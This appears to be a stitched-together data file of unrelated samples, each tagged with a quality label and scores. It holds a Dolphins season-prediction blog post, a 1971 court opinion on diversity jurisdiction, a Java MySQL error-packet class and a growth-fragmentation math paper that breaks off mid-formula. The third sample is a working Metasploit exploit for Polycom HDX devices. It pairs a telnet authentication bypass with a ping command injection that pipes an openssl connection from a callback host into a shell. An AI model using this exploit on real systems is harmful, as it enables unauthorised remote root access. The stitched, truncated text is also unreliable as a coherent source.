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The NFL draft and a majority of free agency is in the books for 2015. That means it's time for early projections and predictions for this upcoming season. Last week, many Dolphins fans were disappointed with ESPN.com's Power Rankings. Our expect panel rated the Miami Dolphins as a middle-of-the pack team at No. 15, which is pretty much the equivalent of another .500 season. Miami made a lot of roster improvements to make a playoff push, including the $114 million signing of Pro Bowl defensive tackle Ndamukong Suh. However, another reputable source is projecting the Dolphins to do great things in 2015. According to Football Outsiders, Miami is a "hot sleeper Super Bowl contender." FBO, using its metrics and also anticipating a Tom Brady suspension, predicts the Dolphins will go 11-5 in the AFC East. Do Miami fans agree or disagree? The Dolphins have talent and filled a lot of holes this offseason. Can they post a winning season and get to the playoffs for the first time since 2008? Share your thoughts in the comment section below or send me a message via Twitter @JamesWalkerNFL. I'm curious to hear your thoughts on Miami potentially going 11-5 this upcoming season.	Mid	[ 0.629399585921325, 38, 22.375 ]
336 F.Supp. 1020 (1971) Steve J. HORWAT, as Administrator of the Estate of Edward Horwat, also known as Edward S. Horwat, Deceased, Plaintiff, v. PAULSEN-WEBBER CORDAGE CORPORATION, Defendant and Third-Party Plaintiff, v. BABCOCK & WILCOX COMPANY et al., Third-Party Defendants. Deborah MORRISON, Administratrix, D.B.N. of the Estate of Kenneth D. Richter, Deceased, Plaintiff, v. PAULSEN-WEBBER CORDAGE CORPORATION, Defendant and Third-Party Plaintiff, v. BABCOCK & WILCOX COMPANY et al., Third-Party Defendants. Civ. A. Nos. 69-798, 69-799. United States District Court, W. D. Pennsylvania. December 7, 1971. *1021 David E. Cohen, Uniontown, Pa., J. M. Maurizi, Suto, Power, Balzarini & Walsh, Pittsburgh, Pa., for plaintiffs. Theodore O. Struk, Thomas W. Smith, Dickie, McCamey & Chilcote, Pittsburgh, Pa., for defendant. OPINION TEITELBAUM, District Judge. These are personal injury actions in which the plaintiffs have founded the jurisdiction of this Court on the diversity of citizenship alleged to exist between the parties. The plaintiffs are alleged to be citizens of Pennsylvania, and the defendant, Paulsen-Webber Cordage Corporation, a citizen of New York. Paulsen-Webber contests the allegation of its citizenship, and, asserting that it is a citizen of Pennsylvania by virtue of the location of its principal place of business, has filed a Motion to Dismiss for want of federal jurisdiction. Section 1332(c) of Title 28, United States Code provides that, in determining whether or not citizenship between parties is diverse, ". . . a corporation shall be deemed a citizen of any State by which it has been incorporated and of the State where it has its principal place of business . . . ." The defendant was incorporated in New York. It contends, however, that its principal place of business is in Pennsylvania. The controlling legal standards by which to assess the facts in fixing a corporation's principal place of business are set forth in Kelly v. United States Steel Corporation, 284 F.2d 850 (3d Cir. 1960). There the issue concerned United States Steel Corporation's principal place of business. The Court decided that the center of operational activities rather than the situs of corporate policy and decision making indicated the principal place of business. Of "lesser importance" to the Court but nonetheless of "some significance" were the locations of the corporation's physical plants, tangible assets, and employees. Further, it is the law that only the incidents of the defendant corporation are relevant, i. e., its corporate veil is generally not to be pierced for the purpose of aggregating its corporate incidents with those of its subsidiary companies. Carnera v. Lancaster Chemical Corporation, 387 F.2d 946 (3d Cir. 1967), cert. denied, 390 U.S. 1027, 88 S. Ct. 1418, 20 L.Ed.2d 285; see Zubik v. Zubik, 384 F.2d 267 (3d Cir. 1967), cert. denied, 390 U.S. 988, 88 S.Ct. 1183, 19 L.Ed.2d 1291 (1968). In the instant actions, the application of these principles fixes the principal place of Paulsen-Webber's business in Pennsylvania. While Frederick Paulsen, the president, sole stockholder, and principal decision-maker of Paulsen-Webber, maintains his office in New York at corporate headquarters, the center of the defendant's operational activities is in Pennsylvania. Not counting its subsidiary companies' operations (which are relatively insignificant in any event), virtually all of the defendant's (1) products are manufactured in Pennsylvania, and (2) tangible assets are located in Pennsylvania. Further, the Pennsylvania operations account for the majority of the defendant's employees and the plurality of its customers and sales. The only sound conclusion is that the defendant's principal place of business is in Pennsylvania. Therefore, its Motion to Dismiss must be granted.	Low	[ 0.5142231947483581, 29.375, 27.75 ]
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Polycom Command Shell Authorization Bypass', 'Alias' => 'psh_auth_bypass', 'Author' => [ 'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module 'h00die <mike@shorebreaksecurity.com>', # submission/cleanup ], 'DisclosureDate' => 'Jan 18 2013', 'Description' => %q( The login component of the Polycom Command Shell on Polycom HDX video endpints, running software versions 3.0.5 and earlier, is vulnerable to an authorization bypass when simultaneous connections are made to the service, allowing remote network attackers to gain access to a sandboxed telnet prompt without authentication. Versions prior to 3.0.4 contain OS command injection in the ping command which can be used to execute arbitrary commands as root. ), 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], [ 'EDB', '24494'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Space' => 8000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'DefaultTarget' => 0 ) ) register_options( [ Opt::RHOST(), Opt::RPORT(23), OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) ], self.class ) register_advanced_options( [ OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) ], self.class ) end def check connect sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") Rex.sleep(1) res = sock.get_once disconnect if !res && !res.empty? return Exploit::CheckCode::Safe end if res =~ /Welcome to ViewStation/ return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit # Keep track of results (successful connections) results = [] # Random string for password password = Rex::Text.rand_text_alpha(rand(5) + 1) # Threaded login checker max_threads = datastore['THREADS'] cur_threads = [] # Try up to 100 times just to be sure queue = [*(1..datastore['MAX_CONNECTIONS'])] print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") until queue.empty? while cur_threads.length < max_threads # We can stop if we get a valid login break unless results.empty? # keep track of how many attempts we've made item = queue.shift # We can stop if we reach max tries break unless item t = Thread.new(item) do \|count\| sock = connect sock.put(password + "\n") res = sock.get_once until res.empty? break unless results.empty? # Post-login Polycom banner means success if res =~ /Polycom/ results << sock break # bind error indicates bypass is working elsif res =~ /bind/ sock.put(password + "\n") # Login error means we need to disconnect elsif res =~ /failed/ break # To many connections means we need to disconnect elsif res =~ /Error/ break end res = sock.get_once end end cur_threads << t end # We can stop if we get a valid login break unless results.empty? # Add to a list of dead threads if we're finished cur_threads.each_index do \|ti\| t = cur_threads[ti] unless t.alive? cur_threads[ti] = nil end end # Remove any dead threads from the set cur_threads.delete(nil) Rex.sleep(0.25) end # Clean up any remaining threads cur_threads.each { \|sock\| sock.kill } if !results.empty? print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") do_payload(results[0]) else print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") end end def do_payload(sock) # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] \|\| datastore['LHOST'] \|\| Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}\|sh;ping$s-c${s}1${s}0\n" sock.put(cmd) # Give time for our command to be queued and executed 1.upto(5) do Rex.sleep(1) break if session_created? end end def stage_final_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") end def start_listener(ssl = false) comm = datastore['ListenerComm'] if comm == 'local' comm = ::Rex::Socket::Comm::Local else comm = nil end self.service = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['CBPORT'], 'SSL' => ssl, 'SSLCert' => datastore['SSLCert'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) self.service.on_client_connect_proc = proc { \|client\| stage_final_payload(client) } # Start the listening service self.service.start end # Shut down any running services def cleanup super if self.service print_status("Shutting down payload stager listener...") begin self.service.deref if self.service.is_a?(Rex::Service) if self.service.is_a?(Rex::Socket) self.service.close self.service.stop end self.service = nil rescue ::Exception end end end # Accessor for our TCP payload stager attr_accessor :service end	Low	[ 0.5347368421052631, 31.75, 27.625 ]
/* * Copyright 2013 Stanley Shyiko * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. / package com.github.shyiko.mysql.binlog.network.protocol; import com.github.shyiko.mysql.binlog.io.ByteArrayInputStream; import java.io.IOException; /* * @author <a href="mailto:stanley.shyiko@gmail.com">Stanley Shyiko</a> */ public class ErrorPacket implements Packet { private int errorCode; private String sqlState; private String errorMessage; public ErrorPacket(byte[] bytes) throws IOException { ByteArrayInputStream buffer = new ByteArrayInputStream(bytes); this.errorCode = buffer.readInteger(2); if (buffer.peek() == '#') { buffer.skip(1); // marker of the SQL State this.sqlState = buffer.readString(5); } this.errorMessage = buffer.readString(buffer.available()); } public int getErrorCode() { return errorCode; } public String getSqlState() { return sqlState; } public String getErrorMessage() { return errorMessage; } }	Mid	[ 0.5859375, 37.5, 26.5 ]
--- abstract: 'We give here an explicit formula for the following critical case of the growth-fragmentation equation $${\frac}{{\partial}}{{\partial}t} u(t,x) + {\frac}{{\partial}}{{\partial}x} (g x u(t,x))+bu(t,x)=b \alpha^2 u(t,\alpha x),\qquad u(0,x)=u^0(x),$$ for some constants $g>0,$ $b>0$ and $\alpha>1$ - the case $\alpha=2$ being the emblematic binary fission case. We discuss the links between this formula and the asymptotic ones previously obtained in [@DE], and use them to clarify how periodicity may appear asymptotically.' author: - 'Marie Doumic[^1] [^2]' - 'Bruce van Brunt[^3]' title: 'Explicit solution and fine asymptotics for a critical growth-fragmentation equation' --- Introduction {#introduction .unnumbered} ============ Growth-fragmentation equations appear in many applications, ranging from protein polymerisation to internet protocols or cell division equation. Under a fairly general form it may be written as follows $${\frac}{{\partial}}{{\partial}t} u(t,x) + {\frac}{{\partial}}{{\partial}x} \big(g (x) u (t,x)\big) + B(x)u(t,x)=\int\limits_x^\infty k(y,x) B(y) u(t,y) dy,$$ where $u(t,x)$ represents the concentration of individuals of size $x$ at time $t,$ $g$ their growth speed, $B$ the total instantaneous fragmentation probability rate and $k(y,x)$ the fragmentation probability of fragmenting individuals of size $y$ to give rise to individuals of size $x.$ Under assumptions linking fragmentation and growth parameters $B,$ $k$ and $g$, a steady asymptotic behaviour appears, i.e. there exists a unique couple $(\lambda,U)$ with $\lambda>0$ such that $u(t,x) e^{-\lambda t} \to U(x)$ - see for instance the pioneering papers [@DiekmannHeijmansThieme1984; @HallWake_1989], [@BP] for an introduction and many other references like [@Zaidi_2015; @Der4; @Zai] for some most recent ones. [ This asymptotic behaviour is a key property of many models in the field of structured population dynamics, and in many cases such as bacterial growth it is experimentally observed [@robert:hal-00981312] (the biologists speak of “desyncrhonization effect”)]{}.However, such a steady behaviour may also fail for two types of reasons: 1. the balance assumptions between $B,$ $g$ and $k$ are not satisfied, 2. Growth and fragmentation are such that there is a lack of dissipativity in the equation. This is typically the case when the growth is exponential, i.e. $g(x)=gx,$ and the fragmentation is a dirac, $k(y,x)=\alpha\delta_{{\frac}{x}{y}={\frac}{1}{\alpha}}$ with $\alpha>1.$ In such a case, if the division rate $B$ is such that there exists a positive couple $(\lambda,U)$, there also exists a countable set of complex couples of the form $(\lambda+i\theta_k, U_k),$ which leads to a periodic limit cycle, see [@GreinerNagel; @bernard:hal-01363549]. We focus here on a critical case where both these reasons appear, namely $B(x)\equiv b>0$ - also called “homogeneous fragmentation” - $g(x)\equiv x g$ and $k(y,x)=\alpha\delta_{{\frac}{x}{y}={\frac}{1}{\alpha}},$ which generalises the binary fission case $\alpha=2$. The equation under study is thus $$\label{eq:main} {\frac}{{\partial}}{{\partial}t} u(t,x) + {\frac}{{\partial}}{{\partial}x} (g x u(t,x))+bu(t,x)=b \alpha^2 u(t,\alpha x),\qquad u(0,x)=u^0(x).$$ This is a specific case of the homogeneous fragmentation equation studied in [@MR2017852; @BertoinWatson; @DE]. [ It may also be seen as an emblematic case when modelling bacterial growth, since the exponential growth in size of bacteria has been observed, together with equal mitosis ($\alpha=2$). A constant division rate would then correspond to a growth independent of the size. However, the behaviour that we study in this paper is barely observed in nature, since a tiny variability in the coefficient rates or in the fragmentation kernel is sufficient to drive the system towards a steady asymptotic growth. It is thus important for modellers to include such a slight variability rather than using directly the idealised model under study.]{} The main results obtained in [@DE] were the following: - a formulation in terms of Mellin and inverse Mellin transform was obtained, as soon as the initial condition $u_0$ decays sufficiently fast in $0$ and $\infty$, - no steady or self-similar behaviour was possible for $L^1$ functions, - the asymptotic behaviour was described along lines of the type $x=e^{-ct},$ with an exponential speed of convergence at places where the mass was decaying, but with at most polynomial growth for the lines where the mass concentrates, - in the case of a fragmentation kernel defined as a dirac mass (or a sum of dirac masses linked by a specific algebraic relation), the asymptotic behaviour was also defined thanks to the Mellin transform, but was more involved, with an infinite sum of contributions and a still slower polynomial rate of convergence. Despite these results, a question remains unclear: can we observe a kind of “oscillatory” behaviour, as in the case of a limit cycle [@GreinerNagel; @bernard:hal-01363549]? In Proposition \[prop:explicit\], we first provide an explicit solution of Equation and discuss its interpretation, in particular in terms of possible periodicity. In Section \[sec:asymp\], we investigate in more detail the asymptotic behaviour, based on the estimates obtained in [@DE] and with the help of a rescaling inspired by [@MR2017852]. An explicit formulation ======================= Explicit formulations may be obtained, as said above, via the Mellin transform of the equation - the Mellin transform has also been used in other studies for the qualitative behaviour of solutions of equations of the same type, see for instance [@BDE; @vanbrunt_wake_2011; @DET2017; @Escobedo2016; @Escobedo2017]. Analytical solutions for specific cases of the eigenvalue problem have also been given in some studies, see e.g. [@HallWake_1990; @PR; @DG] for some examples. Else, obtaining analytical solutions for the time-dependent equation is not frequent - let us mention [@Stewart90; @ZiffGrady] for the fragmentation equation, and [@Zai] for the full analytical solution to the cell division equation with constant coefficients. Up to our knowledge, the following explicit solution for our case was not known. \[prop:explicit\] Let ${\cal S}'(\operatorname{{\mathbb R}}_+)$ the space of distribution functions (dual space of ${\cal S}(\operatorname{{\mathbb R}}_+)$ the Schwartz space on $\operatorname{{\mathbb R}}_+$) and $u_0\in {\cal S}'(\operatorname{{\mathbb R}}_+)$. The distribution defined in a weak sense by $$\label{def:u} u(t,x)=e^{-(b+g)t} \sum\limits_{k=0}^\infty u_0(\alpha^k x e^{-gt}) {\frac}{(b\alpha^2 t)^k}{k!},\qquad t>0,\quad x>0,$$ is solution to Equation . Moreover, if $u_0\in L^p(x^qdx)$ then $u \in L^\infty(0,T;L^p(x^q dx))$ for any $T>0,$ $p\in [1,\infty]$ and $q\in \operatorname{{\mathbb R}}.$ Similarly, if $u_0\in {\cal M}_+^b (x^qdx)$ the space of nonnegative bounded measures absolutely continuous with respect to the measure $x^q dx,$ $u \in L^\infty(0,T;{\cal M}_+^b (x^qdx)).$ The spaces to which $u(t,x)$ belongs to are immediate by using the definition , multiplying it by the convenient weight or test function, and make a term-by-term change of variables $y=\alpha^k x e^{-gt};$ it is linked to the fast convergence of the terms ${\frac}{s^k}{k!}$ defining the series of the exponential. The proof that $u(t,x)$ satisfies Equation in a weak sense can be done similarly, by multiplying the equation applied to $u(t,x)$ by a test function, integrating by parts and making a change of variables. This formula makes directly appear several interesting features, linked to the very specific shape of the fragmentation kernel $k_0(z)=\alpha\delta_{z={\frac}{1}{\alpha}}.$ - At time $t=0^+,$ there is an immediate appearance of contributions to the distribution in $x$ of all the points $\alpha^k x$ with $k\geq 0.$ This can be interpreted in terms of division: without growth, cells of size $x$ contained in an interval $[x,x+dx]$ may come from $k$ times the division of cells of size $\alpha^k x,$ contained in the interval $[\alpha^kx, \alpha^k (x+dx)]$, this division producing $\alpha^k$ cells of size $x$ so that there is a factor $\alpha^{2k}$ in the contribution coming from the division of size $[\alpha^k x, \alpha^k x +\alpha^k dx]$ particles. Now, the probability of $k$ successive division of given cells of size $\alpha^k x$ in a time interval $\delta t$ is proportional to ${\frac}{b^k (\delta t)^k}{k!},$ the product of $k$ times the probability for a cell to divide taken among an infinite possibility of divisions, and then renormalised by $e^{-b\delta t}$ to obtain a total probability equal to $1$ on all the possibilities to divide $0,$ $1,$ $\dots$ $k$ times. When time passes, this remains true, and the formula follows the characteristic lines $x e^{gt}: $ without the birth term on the right-hand side, the solution of the equation $${\frac}{{\partial}}{{\partial}t} u +{\frac}{{\partial}}{{\partial}x} (g x u(t,x))+bu(t,x)=0$$ would be $u(t,x)=e^{-(b+g)t}u_0(xe^{-gt}),$ the first term of the series; on the contrary, without the growth and the left-hand side division term, the equation $${\frac}{{\partial}}{{\partial}t} u =b \alpha^2 u(t,\alpha x),\qquad u(0,x)=u^0(x)$$ would admit for solution $ \sum\limits_{k=0}^\infty u_0(\alpha^k x) {\frac}{(b\alpha^2 t)^k}{k!}$ for $t>0$ and $x>0.$ - Contrarily to other cases (with a smoother fragmentation kernel or a non-linear growth rate), we see that the equation has no smoothing effect. Taking for instance the case of a dirac initial data $u_0(x)=\delta_{x_0},$ we see that as expected intuitively the mass is permanently supported by a countable set of dirac masses, taking values along characteristic lines $x=\alpha^{-k} x_0 e^{gt}$ representing, for $k=0,$ the ancestor characteristic curve, and for $k\geq 1,$ the characteristic line of the $k-th$ generation of offspring (individuals having divided $k$ times at time $t$). Despite its simple formulation, the analytical formula does not lead directly to an easy asymptotic behaviour. This was also the case with the formulation obtained in [@DE] using Mellin and inverse Mellin transform: a complete asymptotic analysis of the complex integral was necessary to obtain an asymptotic behaviour. However, an important clue is given to the question of possible oscillations when looking at the solution obtained for $u_0=\delta_{x_0}:$ the mass is permanently supported in the countable set of dirac at points $x=\alpha^{-k}e^{gt}x_0$ for $k\in \operatorname{{\mathbb N}}$, so that at each period of time $t=nT$ such that $e^{gT}=\alpha,$ and only at them, the dirac masses come back to the points $x=\alpha^{-k+n}x_0$. This set tends to the countable set $x=\alpha^k x_0$ with $k\in \operatorname{{\mathbb Z}}.$ But can we say more concerning the mass of each of these points? In a more general manner, if $supp (u_0)\subset [x_0,x_1]$, at any time one has $supp (u(t,\cdot))\subset \cup_{k\in\operatorname{{\mathbb N}}} [2^{-k} x_0e^{gt},2^{-k} x_1 e^{gt}]$ for $k\in \operatorname{{\mathbb N}}:$ if for instance ${\frac}{1}{2}<x_0<x_1\leq 1,$ we have $supp\left(u(t,\cdot)\right) \cap \cup_{k\in\operatorname{{\mathbb N}}} (2^{-k-1}e^{gt},2^{-k}x_0e^{gt})=\emptyset.$ It is thus clear that no pointwise limit toward a steady behaviour is possible. Asymptotic behaviour {#sec:asymp} ==================== Asymptotics via the Mellin transform [@DE] ------------------------------------------ Let us here assume $g=0$ and $b=1,$ denote $v(t,x)$ the corresponding solution of the pure fragmentation equation, we know that $u(t,x)=e^{-gt} v(bt,xe^{-gt})$, and Formula becomes $$\label{def:frag} v(t,x)=e^{-t}\sum\limits_{k=0}^\infty u_0(\alpha^k x) {\frac}{(\alpha^2 t)^k}{k!}.$$ In [@DE], another explicit formula was obtained using Mellin and inverse Mellin transform. For the sake of simplicity, we restrict ourselves to $u_0 \in {\cal C}^2_0 (\operatorname{{\mathbb R}}_+),$ the space of two-times differentiable functions on $R_+$ decaying faster than any power law in $0$ and $+\infty$ (see Theorem 3.1. in [@DE] for more general assumptions). Define $$\label{def:Mellin} K(s)=\int\limits_0^1x^{s-1} \alpha\delta_{x={\frac}{1}{\alpha}} dx=\alpha^{2-s},\qquad U_0(s)=\int\limits_0^\infty u_0(x)x^{s-1}dx,$$ we have (Theorem 3.1. in [@DE]), for $g=0$ and $b=1,$ and any $\nu\in \operatorname{{\mathbb R}}:$ $$\label{eq:Mellin} v(t, x)=\frac {1} {2\pi i}\int \limits _{ \nu-i\infty }^{ \nu+i\infty }U_0(s)\,e^{(K(s)-1)t}x^{-s}ds.$$ [ Following the notations of [@DE], the fragmentation kernel is in our case equal to $k(y,x)={\frac}{1}{y}k_0({\frac}{x}{y})$ with $k_0(z)=\alpha\delta_{z={\frac}{1}{\alpha}}.$ We see that $k_0$ satisfies the assumptions of Theorem 2.3. (b) of [@DE], namely that it is a singular discrete measure whos support satisfies the Assumption H of [@DE] - since it is a unique point $\theta={\frac}{1}{\alpha}$.]{} The following asymptotic formula was then obtained in Theorem 2.3. (b) of [@DE] for $x<1$: $$\label{asymp1:v} v(t, x)=x^{-s_+(t, x)}e^{(\alpha^{2-s_+(t, x)}-1)t}\frac{ \sum\limits_{ k\in \operatorname{{\mathbb Z}}}U_0(s_k) e^{\frac {2i\pi k } {\log \alpha}\log x}}{{\sqrt{2\pi t} (\log\alpha) \alpha^{1-{\frac}{s_+(t,x)}{2}} }}\left(1+o(t^{-\beta})\right),$$ for some $\beta>0$ and $s_+(t,x)$ defined by $$s_+(t,x)=K'^{-1}\left({\frac}{\log x}{t}\right)=2-{\frac}{\log\biggl(-{\frac}{\log(x)}{t\log\alpha}\biggr)}{\log\alpha},\qquad x=e^{-t(\log\alpha)\alpha^{2-s_+}},\qquad s_k=s_+{-}{\frac}{2ik\pi}{\log \alpha}.$$ Using the Poisson formula, it was also noticed in Remark 3 of [@DE] that it gives $$\label{asymp2:v}\begin{array}{ll} v(t,x) &= e^{(\alpha^{2-s_+(t, x)}-1)t} \frac{ \sum\limits_{ n\in \operatorname{{\mathbb Z}}} u_0(\alpha^n x) \alpha^{s_+ n}}{{\sqrt{2\pi t} \alpha^{1-{\frac}{s_+(t,x)}{2}} }}\left(1+o(t^{-\beta})\right). \end{array}$$ By a straightforward calculation, we can use this formula to obtain the asymptotic formulae for the general case $b,g>0,$ by the transformation $u(t,x)=e^{-gt}v(bt,xe^{-gt}).$ We take however here $b=1$ for the sake of simplicity, and still denote in short $s_+$ the function now defined in $s_+(t,xe^{-gt}).$ We have $$\label{mellin:asymp:growthfrag}\begin{array}{l} u(t,x)\sim x^{-s_+(t, xe^{-gt})}e^{(\alpha^{2-s_+(t, xe^{-gt})}-1+g(s_+-1))t}\frac{ \sum\limits_{ k\in \operatorname{{\mathbb Z}}}U_0(s_k) e^{\frac {2i\pi k } {\log \alpha}\log x}}{{\sqrt{2\pi t} (\log\alpha) \alpha^{1-{\frac}{s_+(t,xe^{-gt})}{2}} }}(1+o(t^\beta)), \\ \\ u(t,x) \sim e^{(\alpha^{2-s_+(t, xe^{-gt})}-1-g)t} \frac{ \sum\limits_{ n\in \operatorname{{\mathbb Z}}} u_0(\alpha^n xe^{-gt}) \alpha^{s_+ n}}{{\sqrt{2\pi t} \alpha^{1-{\frac}{s_+(t,xe^{-gt})}{2}} }}. \end{array}$$ Despite its resemblance with , no immediate link appears. Weak convergence result ----------------------- Can we use the formula or to make appear an oscillatory asymptotic behaviour? Following [@MR2017852], let us first focus on the following rescalings of $v:$ $$r(t,y):=te^{2ty}v(t,e^{ty})=t e^{2ty+gt} u({\frac}{t}{b},e^{(y+g)t}) ,\qquad y_0:=-\log\alpha,$$ $$\tilde r(t,z)=r(t,y_0+{\frac}{\sigma z}{\sqrt{t}}){\frac}{\sigma}{\sqrt{t}}, \qquad \qquad \sigma^2=K''(y_0)=(\log\alpha)^2.$$ Such a rescaling is motivated by the fact that the lines $x=e^{ty},$ with $y<0$ constant, correspond to the lines $s_+(t,x)$ constant in time, leading to a given asymptotic profile in or . Moreover it is such that the integral of $r$ and $\tilde r$ is preserved, i.e. $$\int\limits_{-\infty}^\infty r(t,y) dy = \int\limits_{-\infty}^\infty \tilde r(t,y) dy=\int\limits_0^\infty x v(t,x) dx=\int\limits_0^\infty x u_0(x) dx,\qquad \forall\; t\geq 0.$$ Theorem 1 in [@MR2017852] apparently contradicts any oscillatory behaviour by stating the following weak convergence result, for which we sketch below an alternative proof using Formula . Let $u_0\in {\cal C}^2_0(\operatorname{{\mathbb R}}_+)$. $$r(t,\cdot) \rightharpoonup \delta_{-\log\alpha}U_0(2),\qquad \tilde r(t,\cdot) \rightharpoonup U_0(2)G,$$ with $G(z)={\frac}{e^{-{\frac}{\cdot^2}{2}}}{\sqrt{2\pi} }$ in a weak sense: for any bounded $C^1$ function $\phi$ on $\operatorname{{\mathbb R}},$ we have $$\int\limits_{-\infty}^{+\infty} \phi(y)r(t,y)dy \to U_0(2) \phi(-\log\alpha)\; \hbox{{\text{and}}}\; \int\limits_{-\infty}^{+\infty} \phi(z)\tilde r(t,z)dz \to U_0(2) \int\limits_{-\infty}^{+\infty} \phi(z) {\frac}{e^{-{\frac}{z^2}{2}}}{\sqrt{2\pi} }dz,$$ with $U_0(2)=\int\limits_0^\infty x u_0(x)dx$ the initial mass and $K'(2)=\log\alpha$. First, for $y<0,$ let us denote $s_+(y):=s_+(t,e^{ty})=2-{\frac}{\log (-{\frac}{y}{\log\alpha})}{\log \alpha}$, which is independent of the time $t$. We also notice that $\alpha^{2-s_+(y)}=-{\frac}{y}{\log \alpha}.$ In Corollary 1 of [@DE], this result has been obtained in the case where the kernel is not singular, so that instead of the infinite sum $\sum\limits_{k\in \operatorname{{\mathbb Z}}} U_0 (s_k) e^{{\frac}{2i\pi k}{\log\alpha}yt}$ there was only the term $U_0(s_+(y)).$ Hence to prove the result, it only remains to show that the terms with $U_0(s_k)$ vanish for $k\neq 0.$ Under our simpler assumption of $u_0\in {\cal C}^2_0(\operatorname{{\mathbb R}}_+)$, we have for any continuous and bounded test function $\phi (y)$ with $y\in \operatorname{{\mathbb R}}$: $$\int\limits_{-\infty}^{+\infty} \phi(y)r(t,y)dy=\int\limits_{-\infty}^{-A} + \int\limits_{-A}^{-\varepsilon} +\int\limits_{-\varepsilon}^{+\infty} \phi(y)r(t,y)dy.$$ For $\varepsilon>0$ small enough and $A>0$ large enough fixed, the first and the third integrals are estimated as in the proof of Corollary 1 in [@DE] (in the notations of [@DE] we have $p_0=-\infty$ and $q_0=+\infty$ due to the fast decay of $u_0$ in $0$ and $\infty$): $v(t,x)$ being exponentially decreasing in time on these interval, and using the regularity assumptions on the test function, these integrals go to zero. Let us call $I$ the second integral, where the mass concentrates, and use the asymptotic behaviour recalled above: $$\begin{array}{ll} I&:= \int\limits_{-A}^{-\varepsilon} \phi(y)r(t,y)dy\\ \\&= \left(1+o(t^{-\beta})\right)\int\limits_{-A}^{-\varepsilon}\phi(y) t e^{2ty} e^{-s_+(y)y t}e^{(\alpha^{2-s_+(y)}-1)t}\frac{ \sum\limits_{ k\in \operatorname{{\mathbb Z}}}U_0\left(s_+(y) + {\frac}{2ik\pi}{\log\alpha}\right) e^{\frac {2i\pi k } {\log \alpha}ty}}{{\sqrt{-2\pi t (\log\alpha)y}}} dy \\ \\ &= \left(1+o(t^{-\beta})\right)\int\limits_{-A}^{-\varepsilon}\phi(y) t e^{{\frac}{\log(-{\frac}{y}{\log\alpha})}{\log \alpha} y t}e^{(-{\frac}{y}{\log\alpha}-1)t}\frac{ \sum\limits_{ k\in \operatorname{{\mathbb Z}}}U_0\left(s_+(y) + {\frac}{2ik\pi}{\log\alpha}\right) e^{\frac {2i\pi k } {\log \alpha}ty}}{{\sqrt{-2\pi t (\log\alpha)y}}} dy. \\ \\ &=\left(1+o(t^{-\beta})\right)\sum\limits_{k\in \operatorname{{\mathbb Z}}} I_k. \end{array}$$ The term for $k=0$ is the same as in Corollary 1 in [@DE]: $$\begin{array}{ll}I_0 &= \left(1+o(t^{-\beta})\right)\int\limits_{-A}^{-\varepsilon} \phi(y) \sqrt{t} e^{\Psi(y) t} {\frac}{U_0\big(s_+(y)\big) }{\sqrt{-2\pi (\log\alpha)y}}dy \to_{t\to\infty} \phi(-\log\alpha)U_0(2), \end{array}$$ using Laplace’s method and the fact that $$\Psi(y):={\frac}{\log(-{\frac}{y}{\log\alpha})}{\log\alpha} y -{\frac}{y}{\log\alpha} -1,\qquad \Psi'(y)={\frac}{\log(-{\frac}{y}{\log\alpha})}{\log\alpha},\qquad \Psi''(y)={\frac}{1}{y\log\alpha}$$ has a unique maximum at $y_0=K'(2)=-\log\alpha$, with $\Psi(-\log\alpha)=0$ and $\Psi''(-\log\alpha)=-{\frac}{1}{(\log\alpha)^2}.$ For the terms $I_k$ with $k\neq 0$ we have $$\begin{array}{ll}I_k&= \left(1+o(t^{-\beta})\right) \int\limits_{-A}^{-\varepsilon}\phi(y) t e^{2ty} e^{-s_+(t, e^{ty})y t}e^{(\alpha^{2-s_+(t, e^{ty})}-1)t}\frac{ U_0\left(s_+(t,e^{ty})+{\frac}{2ik\pi}{\log\alpha}\right) e^{\frac {2i\pi k } {\log \alpha}ty} }{{\sqrt{-2\pi t (\log\alpha)y}}} dy\\ \\ &= \left(1+o(t^{-\beta})\right)\int\limits_{-A}^{-\varepsilon} \phi(y)\sqrt{t} e^{(\Psi(y) +{\frac}{2ik\pi}{\log\alpha} y)t} {\frac}{U_0\big(s_+(y)+{\frac}{2ik\pi}{\log\alpha}\big) 